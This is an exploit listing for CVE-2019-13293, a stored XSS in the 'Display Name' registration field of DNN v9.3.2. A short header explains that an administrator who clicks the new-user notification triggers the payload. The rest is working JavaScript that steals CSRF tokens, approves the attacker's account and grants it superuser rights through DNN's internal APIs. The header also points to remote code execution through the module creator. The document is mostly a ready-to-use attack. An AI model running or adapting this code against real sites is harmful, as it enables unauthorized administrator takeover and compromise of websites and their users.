1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 |
/* Exploit Title: "Display Name" Stored Unauthenticated XSS in DNN v9.3.2 Date: 4th of July, 2019 Exploit Author: Semen Alexandrovich Lyhin Vendor Homepage: https://www.dnnsoftware.com/ Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases Version: v9.3.2 CVE : CVE-2019-13293 A malicious unauthenticated person can attempt to register a user with the XSS payload in "Display Name" parameter. The administrator of the website will see a notification that a new user needs to be approved. An administrator should click on this notification, and the JavaScript code will be executed in the administrator's browser. This exploit adds the user, and grants him administrator priviliges. A native module "module creator" also allows remote code execution. */ function ApproveNotification(baseurl, id) { return new Promise(function (resolve, reject) { var url = baseurl + "/Activity-Feed/Messages/"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var post_params = "NotificationId=" + id; var x1 = new XMLHttpRequest(); x1.open("POST", baseurl + "/API/InternalServices/NewUserNotificationService/Authorize"); x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8"); x1.setRequestHeader('RequestVerificationToken', token); x1.send(post_params); resolve(); } } xhr.open('GET', url, true); xhr.send(null); }); } function MakeSuperAdmin(baseurl, id) { return new Promise(function (resolve, reject) { var url = baseurl + "/Activity-Feed/Messages/"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var post_params = "null" var x1 = new XMLHttpRequest(); x1.open("POST", baseurl + "/API/PersonaBar/Users/UpdateSuperUserStatus?userId=" + id + "&setSuperUser=true"); x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8"); x1.setRequestHeader('RequestVerificationToken', token); x1.send(post_params); resolve(); } } xhr.open('GET', url, true); xhr.send(null); }); } function GetNotification(baseurl, username, moduleid, tabid) { return new Promise(function (resolve, reject) { var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/" var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var x1 = new XMLHttpRequest(); x1.open("GET", baseurl + "/API/CoreMessaging/MessagingService/Notifications?afterNotificationId=-1&numberOfRecords=1000&_=1562677665517", true); x1.setRequestHeader('ModuleId', moduleid); x1.setRequestHeader('TabId', tabid); x1.onreadystatechange = () => { if (x1.readyState == 4) { if (!x1.responseType === "text") { data = x1.responseText; } else if (x1.responseType === "document") { data = x1.responseXML; } else { data = x1.response; } //console.log(JSON.parse(data)); data = JSON.parse(data); for (var key in data['Notifications']){ if (data['Notifications'][key]['Body'].includes(username)) { resolve((data['Notifications'][key]['NotificationId'])); }; } reject(); } } x1.send(null); } } xhr.open('GET', url, true); xhr.send(null); }); } function GetUserId(baseurl, username, tabid) { return new Promise(function (resolve, reject) { var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/" var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var x1 = new XMLHttpRequest(); x1.open("GET", baseurl + "/API/PersonaBar/Users/GetUsers?searchText=" + username + "&filter=0&pageIndex=0&pageSize=10&sortColumn=&sortAscending=false", true); x1.setRequestHeader('TabId', tabid); x1.onreadystatechange = () => { if (x1.readyState == 4) { if (!x1.responseType === "text") { data = x1.responseText; } else if (x1.responseType === "document") { data = x1.responseXML; } else { data = x1.response; } //console.log(data); data = JSON.parse(data); resolve((data['Results'][0]['userId'])); reject(); } } x1.send(null); } } xhr.open('GET', url, true); xhr.send(null); }); } async function main(){ var username = "nobody34567"; var baseurl = "http://192.168.18.10/dotnetnuke/"; var moduleid = "374"; var tabid = "27"; //It's default ID of the module and tab, that should be used to get notification id. We can also parse it from the webpage. var NotificationId = await GetNotification(baseurl, username, moduleid, tabid); await ApproveNotification(baseurl, NotificationId); var UserID = await GetUserId(baseurl, username, tabid); MakeSuperAdmin(baseurl, UserID); } main(); |